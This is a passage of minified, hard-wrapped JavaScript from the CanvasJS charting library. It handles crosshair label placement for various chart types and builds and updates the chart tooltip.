th=u(this.options.labelMaxWidth)?
3*this.chart.width:this.labelMaxWidth,this.labelMaxHeight=u(this.options.labelWrap)
||this.labelWrap?
this.parent.bounds.height:2*this.labelFontSize;0<m&&p.setLineDash&&p.setLineDash(R(
this.lineDashType,m));l=new ka(p,{x:0,y:0,padding:
{top:2,right:3,bottom:2,left:4},backgroundColor:this.labelBackgroundColor,borderCol
or:this.labelBorderColor,borderThickness:this.labelBorderThickness,cornerRadius:thi
s.labelCornerRadius,maxWidth:this.labelMaxWidth,maxHeight:this.labelMaxHeight,angle
:this.labelAngle,text:h,horizontalAlign:"left",fontSize:this.labelFontSize,fontFami
ly:this.labelFontFamily,fontWeight:this.labelFontWeight,fontColor:this.labelFontCol
or,fontStyle:this.labelFontStyle,textBaseline:"middle"});if(this.snapToDataPoint)
{var n=0,k=[];if("xySwapped"===this.chart.plotInfo.axisPlacement){var
f=null;if("bottom"===this.parent._position||"top"===this.parent._position)n=this.pa
rent.dataSeries[0].axisX.convertPixelToValue({y:d});else
if("left"===this.parent._position||"right"===this.parent._position)n=this.parent.co
nvertPixelToValue({y:d});for(var r=0;r<this.parent.dataSeries.length;r++)
(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(f.dataSeries=this.parent.dataSeries[r],null!
==f.dataPoint.y&&k.push(f));f=null;if(0===k.length)return;k.sort(function(a,b)
{return a.distance-b.distance});f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y));r=0;if("rangeBar"===k[0].dataSer
ies.type||"error"===k[0].dataSeries.type)for(var f=Math.abs(a-
this.parent.convertValueToPixel(k[r].dataPoint.y[0])),v=0,n=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(a-this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=n);else
if("stackedBar"===k[0].dataSeries.type)for(var f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y)),D=v=0,n=r=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
D+=k[n].dataPoint.y,v=Math.abs(a-
this.parent.convertValueToPixel(D)),v<f&&(f=v,r=n);else
if("stackedBar100"===k[0].dataSeries.type)for(var f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y)),t=D=v=0,n=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
D+=k[n].dataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,t=100*(D/k[n].dataSeries.plotUnit.dataP
ointYSums[t]),v=Math.abs(a-this.parent.convertValueToPixel(t)),v<f&&(f=v,r=n);else
for(f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=r=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=n);h=k[r];if("bottom
"===this.parent._position||"top"===this.parent._position)
{b=0;if("rangeBar"===this.parent.dataSeries[r].type||"error"===this.parent.dataSeri
es[r].type){f=Math.abs(a-
this.parent.convertValueToPixel(h.dataPoint.y[0]));for(n=v=0;n<h.dataPoint.y.length
;n++)v=Math.abs(a-
this.parent.convertValueToPixel(h.dataPoint.y[n])),v<f&&(f=v,b=n);k=1===p.lineWidth
%2?
(this.parent.convertValueToPixel(h.dataPoint.y[b])<<0)+0.5:this.parent.convertValue
ToPixel(h.dataPoint.y[b])<<0;l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y[b]}):u(this.options.label)?
ba(h.dataPoint.y[b],this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedBar"===this.parent.dataSeries[r].type){f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y));D=v=0;for(n=r;0<=n;n--)D+=k[n].d
ataPoint.y,v=Math.abs(a-
this.parent.convertValueToPixel(D)),v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(D)<<0)+0.5:this.parent.convertValueToPixel(D)<<0;l
.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?
ba(h.dataPoint.y,this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedBar100"===this.parent.dataSeries[r].type){f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y));t=D=v=0;for(n=r;0<=n;n--)D+=k[n]
.dataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,t=100*(D/k[n].dataSeries.plotUnit.dataP
ointYSums[t]),v=Math.abs(a-
this.parent.convertValueToPixel(t)),v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(t)<<0)+0.5:this.parent.convertValueToPixel(t)<<0;l
.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:t}):u(this.options.label)?
ba(t,this.valueFormatString,this.chart._cultureInfo):this.label}else
k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.y)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.y)<<0,l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?
ba(h.dataPoint.y,this.valueFormatString,this.chart._cultureInfo):this.label;b=c=k;e
=this.chart.plotArea.y1;g=this.chart.plotArea.y2;this.bounds={x1:b-
m/2,y1:e,x2:c+m/2,y2:g};l.x=b-
l.measureText().width/2;l.x+l.width>this.chart.bounds.x2?l.x=this.chart.bounds.x2-
l.width:l.x<this.chart.bounds.x1&&(l.x=this.chart.bounds.x1);l.y=this.parent.lineCo
ordinates.y2+l.fontSize/2+2}else
if("left"===this.parent._position||"right"===this.parent._position)
{e=g=k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.x)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.x)<<0;b=this.chart.plotArea.x1;c=this.chart.plotArea.x2;this.bound
s={x1:b,y1:e-m/2,x2:c,y2:g+m/2};t=!
1;if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.parent.vie
wportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t)
{if("axisX"===this.parent.type)for(n=this.parent.convertPixelToValue({y:d}),f=null,
r=0;r<this.parent.dataSeries.length;r++)
(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
Ca(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label:"number
"===this.parent.valueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
ba(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label);l.y=g+
l.fontSize/2-l.measureText().height/2+2;l.y-l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2);"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x2-
l.measureText().width:"right"===this.parent._position&&(l.x=this.parent.lineCoordin
ates.x2)}}else if("bottom"===this.parent._position||"top"===this.parent._position)
{n=this.parent.convertPixelToValue({x:a});for(r=0;r<this.parent.dataSeries.length;r
++)(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(f.dataSeries=this.parent.dataSeries[r],null!
==f.dataPoint.y&&k.push(f));if(0===k.length)return;k.sort(function(a,b){return
a.distance-b.distance});h=k[0];b=c=k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.x)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.x)<<0;e=this.chart.plotArea.y1;g=this.chart.plotArea.y2;this.bound
s={x1:b-m/2,y1:e,x2:c+m/2,y2:g};t=!
1;if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.parent.vie
wportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t)
{if("axisX"===this.parent.type)for(n=this.parent.convertPixelToValue({x:a}),f=null,
r=0;r<this.parent.dataSeries.length;r++)
(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
Ca(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label:"number
"===this.parent.valueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
ba(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label);l.x=b-
l.measureText().width/2;l.x+l.width>this.chart.bounds.x2&&(l.x=this.chart.bounds.x2
-
l.width);l.x<this.chart.bounds.x1&&(l.x=this.chart.bounds.x1);"bottom"===this.paren
t._position?
l.y=this.parent.lineCoordinates.y2+l.fontSize/2+2:"top"===this.parent._position&&(l
.y=this.parent.lineCoordinates.y1-l.height+l.fontSize/2+2
)}else if("left"===this.parent._position||"right"===this.parent._position){!
u(this.parent.dataSeries)&&0<this.parent.dataSeries.length&&(n=this.parent.dataSeri
es[0].axisX.convertPixelToValue({x:a}));for(r=0;r<this.parent.dataSeries.length;r+
+)(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(f.dataSeries=this.parent.dataSeries[r],null!
==f.dataPoint.y&&k.push(f));if(0===k.length)return;k.sort(function(a,b){return
a.distance-
b.distance});r=0;if("rangeColumn"===k[0].dataSeries.type||"rangeArea"===k[0].dataSe
ries.type||"error"===k[0].dataSeries.type||"rangeSplineArea"===k[0].dataSeries.type
||"candlestick"===k[0].dataSeries.type||"ohlc"===k[0].dataSeries.type||"boxAndWhisk
er"===k[0].dataSeries.type)for(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y[0])),n=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(d-this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=n);else
if("stackedColumn"===k[0].dataSeries.type||"stackedArea"===k[0].dataSeries.type)for
(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=D=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
D+=k[n].dataPoint.y,v=Math.abs(d-
this.parent.convertValueToPixel(D)),v<f&&(f=v,r=n);else
if("stackedColumn100"===k[0].dataSeries.type||"stackedArea100"===k[0].dataSeries.ty
pe)for(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=t=D=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
D+=k[n].dataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,t=100*(D/k[n].dataSeries.plotUnit.dataP
ointYSums[t]),v=Math.abs(d-this.parent.convertValueToPixel(t)),v<f&&(f=v,r=n);else
for(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=n);h=k[r];b=0;if("ra
ngeColumn"===this.parent.dataSeries[r].type||"rangeArea"===this.parent.dataSeries[r
].type||"error"===this.parent.dataSeries[r].type||"rangeSplineArea"===this.parent.d
ataSeries[r].type||"candlestick"===this.parent.dataSeries[r].type||"ohlc"===this.pa
rent.dataSeries[r].type||"boxAndWhisker"===this.parent.dataSeries[r].type)
{f=Math.abs(d-
this.parent.convertValueToPixel(h.dataPoint.y[0]));for(n=v=0;n<h.dataPoint.y.length
;n++)v=Math.abs(d-
this.parent.convertValueToPixel(h.dataPoint.y[n])),v<f&&(f=v,b=n);k=1===p.lineWidth
%2?
(this.parent.convertValueToPixel(h.dataPoint.y[b])<<0)+0.5:this.parent.convertValue
ToPixel(h.dataPoint.y[b])<<0;l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y[b]}):u(this.options.label)?
ba(h.dataPoint.y[b],this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedColumn"===this.parent.dataSeries[r].type||"stackedArea"===this.parent.da
taSeries[r].type){f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y));D=v=0;for(n=r;0<=n;n--)D+=k[n].d
ataPoint.y,v=Math.abs(d-
this.parent.convertValueToPixel(D)),v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(D)<<0)+0.5:this.parent.convertValueToPixel(D)<<0;l
.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?
ba(h.dataPoint.y,this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedColumn100"===this.parent.dataSeries[r].type||"stackedArea100"===this.par
ent.dataSeries[r].type){f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y));D=v=0;for(n=r;0<=n;n--)D+=k[n].d
ataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,t=100*(D/k[n].dataSeries.plotUnit.dataP
ointYSums[t]),v=Math.abs(d-
this.parent.convertValueToPixel(t)),v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(t)<<0)+0.5:this.parent.convertValueToPixel(t)<<0;l
.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:t}):u(this.options.label)?
ba(t,this.valueFormatString,this.chart._cultureInfo):this.label}else"waterfall"===t
his.parent.dataSeries[r].type?(k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataSeries.dataPointEOs[h.index].cumulativeSum)<
<0)+0.5:this.parent.convertValueToPixel(h.dataSeries.dataPointEOs[h.index].cumulati
veSum)<<0,l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataSeries.dataPointEOs[h.index].cumulativeSum}):u(this.options.label)?
ba(h.dataSeries.dataPointEOs[h.index].cumulativeSum,this.valueFormatString,this.cha
rt._cultureInfo):this.label):(k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.y)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.y)<<0,l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?
ba(h.dataPoint.y,this.valueFormatString,this.chart._cultureInfo):this.label);e=g=k;
b=this.chart.plotArea.x1;c=this.chart.plotArea.x2;this.bounds={x1:b,y1:e-
m/2,x2:c,y2:g+m/2};l.y=g+l.fontSize/2-l.measureText().height/2+2;l.y-
l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2);"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x2-
l.measureText().width:"right"===this.parent._position&&(l.x=this.parent.lineCoordin
ates.x2)}k=null;
("bottom"===this.parent._position||"top"===this.parent._position)&&(b>=this.parent.
convertValueToPixel(this.parent.viewportMinimum)&&c<=this.parent.convertValueToPixe
l(this.parent.viewportMaximum))&&(0<m&&(p.moveTo(b,e),p.lineTo(c,g),p.stroke()),p.r
estore(),!u(l.text)&&("number"===typeof l.text.valueOf()||
0<l.text.length)&&l.render(!0));
("left"===this.parent._position||"right"===this.parent._position)&&(g>=this.parent.
convertValueToPixel(this.parent.viewportMaximum)&&e<=this.parent.convertValueToPixe
l(this.parent.viewportMinimum))&&(0<m&&(p.moveTo(b,e),p.lineTo(c,g),p.stroke()),p.r
estore(),!u(l.text)&&("number"===typeof l.text.valueOf()||
0<l.text.length)&&l.render(!
0))}else{if("bottom"===this.parent._position||"top"===this.parent._position)b=c=k=1
===p.lineWidth%2?
(a<<0)+0.5:a<<0,e=this.chart.plotArea.y1,g=this.chart.plotArea.y2,this.bounds={x1:b
-m/2,y1:e,x2:c+m/2,y2:g};else
if("left"===this.parent._position||"right"===this.parent._position)e=g=k=1===p.line
Width%2?
(d<<0)+0.5:d<<0,b=this.chart.plotArea.x1,c=this.chart.plotArea.x2,this.bounds={x1:b
,y1:e-
m/2,x2:c,y2:g+m/2};if("xySwapped"===this.chart.plotInfo.axisPlacement)if("left"===t
his.parent._position||"right"===this.parent._position){t=!
1;if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.parent.vie
wportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t)
{if("axisX"===this.parent.type)for(n=this.parent.convertPixelToValue({y:d}),f=null,
r=0;r<this.parent.dataSeries.length;r++)
(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(a)}):u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(d)}):u(this.options.label)?
Ca(this.parent.convertPixelToValue(d),this.valueFormatString,this.chart._cultureInf
o):this.label:"number"===this.parent.valueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(d)}):u(this.options.label)?
ba(this.parent.convertPixelToValue(d),this.valueFormatString,this.chart._cultureInf
o):this.label);l.y=d+l.fontSize/2-l.measureText().height/2+2;l.y-
l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2);"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x1-
l.measureText().width:"right"===this.parent._position&&(l.x=this.parent.lineCoordin
ates.x2)}else{if("bottom"===this.parent._position||"top"===this.parent._position)l.
text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(a)}):u(this.options.label)?
ba(this.parent.convertPixelToValue(a),this.valueFormatString,this.chart._cultureInf
o):this.label,l.x=b-
l.measureText().width/2,l.x+l.width>this.chart.bounds.x2&&(l.x=this.chart.bounds.x2
-
l.width),l.x<this.chart.bounds.x1&&(l.x=this.chart.bounds.x1),"bottom"===this.paren
t._position&&(l.y=this.parent.lineCoordinates.y2+l.fontSize/2+2),"top"===this.paren
t._position&&(l.y=this.parent.lineCoordinates.y1-l.height+l.fontSize/2+2)}else
if("bottom"===this.parent._position||"top"===this.parent._position){t=!
1;h="";if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.paren
t.viewportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t)
{if("axisX"===this.parent.type)for(n=this.parent.convertPixelToValue({x:a}),f=null,
r=0;r<this.parent.dataSeries.length;r++)
(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:t
his.parent.options,crosshair:this.options,value:this.parent.convertPixelToValue(a)}
):u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(a)}):u(this.options.label)?
Ca(this.parent.convertPixelToValue(a),this.valueFormatString,this.chart._cultureInf
o):this.label:"number"===this.parent.valueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:0<this.parent.dataSeries.length?
this.parent.convertPixelToValue(a):""}):u(this.options.label)?
ba(this.parent.convertPixelToValue(a),this.valueFormatString,this.chart._cultureInf
o):this.label);l.x=b-
l.measureText().width/2;l.x+l.width>this.chart.bounds.x2&&(l.x=this.chart.bounds.x2
-
l.width);l.x<this.chart.bounds.x1&&(l.x=this.chart.bounds.x1);"bottom"===this.paren
t._position?
l.y=this.parent.lineCoordinates.y2+l.fontSize/2+2:"top"===this.parent._position&&(l
.y=this.parent.lineCoordinates.y1-l.height+l.fontSize/2+2)}else
if("left"===this.parent._position||"right"===this.parent._position)l.text=this.labe
lFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:this.parent.convertPixelToValue(d)}):u(this.options.label)?
ba(this.parent.convertPixelToValue(d),this.valueFormatString,this.chart._cultureInf
o):this.label,l.y=d+l.fontSize/2-l.measureText().height/2+2,l.y-
l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2),"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x2-
l.measureText().width:"right"===this.parent._position&&(l.x=this.parent.lineCoordin
ates.x2);0<m&&(p.moveTo(b,e),p.lineTo(c,g),p.stroke());p.restore();!
u(l.text)&&("number"===typeof l.text.valueOf()||0<l.text.length)&&l.render(!
0)}p.globalAlpha=q};qa($,V);$.prototype._initialize=function(){if(this.enabled)
{this.container=document.createElement("div");this.container.setAttribute("class","
canvasjs-chart-
tooltip");this.container.style.position="absolute";this.container.style.height="aut
o";this.container.style.boxShadow="1px 1px 2px 2px
rgba(0,0,0,0.1)";this.container.style.zIndex="1000";this.container.style.pointerEve
nts="none";this.container.style.display="none";var a;a='<div style=" width:
auto;height: auto;min-width: 50px;';a+="line-height: auto;";a+="margin: 0px 0px 0px
0px;";a+="padding: 5px;";a+="font-family: Calibri, Arial, Georgia,
serif;";a+="font-weight: normal;";a+="font-style: "+
(r?"italic;":"normal;");a+="font-size: 14px;";a+="color: #000000;";a+="text-shadow:
1px 1px 1px rgba(0, 0, 0, 0.1);";a+="text-align: left;";a+="border: 2px solid
gray;";a+=r?"background: rgba(255,255,255,.9);":"background:
rgb(255,255,255);";a+="text-indent: 0px;";a+="white-space: nowrap;";a+="border-
radius: 5px;";a+="-moz-user-select:none;";a+="-khtml-user-select: none;";a+="-
webkit-user-select: none;";a+="-ms-user-select: none;";a+="user-select: none;";r||
(a+="filter: alpha(opacity = 90);",a+="filter:
progid:DXImageTransform.Microsoft.Shadow(Strength=3, Direction=135,
Color='#666666');");a+='} "> Sample
Tooltip</div>';this.container.innerHTML=a;this.contentDiv=this.container.firstChild
;this.container.style.borderRadius=this.contentDiv.style.borderRadius;this.chart._c
anvasJSContainer.appendChild(this.container)}};
$.prototype.mouseMoveHandler=function(a,d){this._lastUpdated&&4>(new
Date).getTime()-this._lastUpdated||(this._lastUpdated=(new
Date).getTime(),this.chart.resetOverlayedCanvas(),this._updateToolTip(a,d))};
$.prototype._updateToolTip=function(a,d,b){b="undefined"===typeof b?!
0:b;this.container||this._initialize();this.enabled||this.hide();if(!
this.chart.disableToolTip){if("undefined"===typeof a||"undefined"===typeof d)
{if(isNaN(this._prevX)||isNaN(this._prevY))return;a=this._prevX;d=this._prevY}else
this._prevX=a,this._prevY=d;var
c=null,e=null,g=[],k=0;if(this.shared&&this.enabled&&"none"!
==this.chart.plotInfo.axisPlacement)
{if("xySwapped"===this.chart.plotInfo.axisPlacement){var
l=[];if(this.chart.axisX)for(var h=0;h<this.chart.axisX.length;h++){for(var
k=this.chart.axisX[h].convertPixelToValue({y:d}),m=null,c=0;c<this.chart.axisX[h].d
ataSeries.length;c++)
(m=this.chart.axisX[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSeri
es=this.chart.axisX[h].dataSeries[c],null!
==m.dataPoint.y&&l.push(m));m=null}if(this.chart.axisX2)for(h=0;h<this.chart.axisX2
.length;h++)
{k=this.chart.axisX2[h].convertPixelToValue({y:d});m=null;for(c=0;c<this.chart.axis
X2[h].dataSeries.length;c++)
(m=this.chart.axisX2[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSer
ies=this.chart.axisX2[h].dataSeries[c],null!
==m.dataPoint.y&&l.push(m));m=null}}else{l=[];if(this.chart.axisX)for(h=0;h<this.ch
art.axisX.length;h+
+)for(k=this.chart.axisX[h].convertPixelToValue({x:a}),m=null,c=0;c<this.chart.axis
X[h].dataSeries.length;c++)
(m=this.chart.axisX[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSeri
es=this.chart.axisX[h].dataSeries[c],null!
==m.dataPoint.y&&l.push(m));if(this.chart.axisX2)for(h=0;h<this.chart.axisX2.length
;h+
+)for(k=this.chart.axisX2[h].convertPixelToValue({x:a}),m=null,c=0;c<this.chart.axi
sX2[h].dataSeries.length;c++)
(m=this.chart.axisX2[h].dataSeries[c].getDataPointAtX(k,b))&&0<=m.index&&(m.dataSer
ies=this.chart.axisX2[h].dataSeries[c],null!
==m.dataPoint.y&&l.push(m))}if(0===l.length)return;l.sort(function(a,b){return
a.distance-b.distance});b=l[0];for(c=0;c<l.length;c+
+)l[c].dataPoint.x.valueOf()===b.dataPoint.x.valueOf()&&g.push(l[c]);l=null}else{if
(m=this.chart.getDataPointAtXY(a,d,b))this.currentDataPointIndex=m.dataPointIndex,t
his.currentSeriesIndex=m.dataSeries.index;else
if(r)if(m=ab(a,d,this.chart._eventManager.ghostCtx),0<m&&"undefined"!==typeof
this.chart._eventManager.objectMap[m])
{m=this.chart._eventManager.objectMap[m];if("legendItem"===m.objectType)return;this
.currentSeriesIndex=m.dataSeriesIndex;this.currentDataPointIndex=0<=m.dataPointInde
x?m.dataPointIndex:-1}else this.currentDataPointIndex=-1;else
this.currentDataPointIndex=-1;if(0<=this.currentSeriesIndex)
{e=this.chart.data[this.currentSeriesIndex];m={};if(0<=this.currentDataPointIndex)c
=e.dataPoints[this.currentDataPointIndex],m.dataSeries=e,m.dataPoint=c,m.index=this
.currentDataPointIndex,m.distance=Math.abs(c.x-
k),"waterfall"===e.type&&(m.cumulativeSumYStartValue=e.dataPointEOs[this.currentDat
aPointIndex].cumulativeSumYStartValue,m.cumulativeSum=e.dataPointEOs[this.currentDa
taPointIndex].cumulativeSum);else{if(!this.enabled||"line"!==e.type&&"stepLine"!
==e.type&&"spline"!==e.type&&"area"!==e.type&&"stepArea"!==e.type&&"splineArea"!
==e.type&&"stackedArea"!==e.type&&"stackedArea100"!==e.type&&"rangeArea"!
==e.type&&"rangeSplineArea"!==e.type&&"candlestick"!==e.type&&"ohlc"!
==e.type&&"boxAndWhisker"!
==e.type)return;k=e.axisX.convertPixelToValue({x:a});m=e.getDataPointAtX(k,b);u(m)|
|(m.dataSeries=e,this.currentDataPointIndex=m.index,c=m.dataPoint)}if(!u(m)&&!
u(m.dataPoint)&&!u(m.dataPoint.y))if(m.dataSeries.axisY)if(0<m.dataPoint.y.length)
{for(c=b=0;c<m.dataPoint.y.length;c+
+)m.dataPoint.y[c]<m.dataSeries.axisY.viewportMinimum?
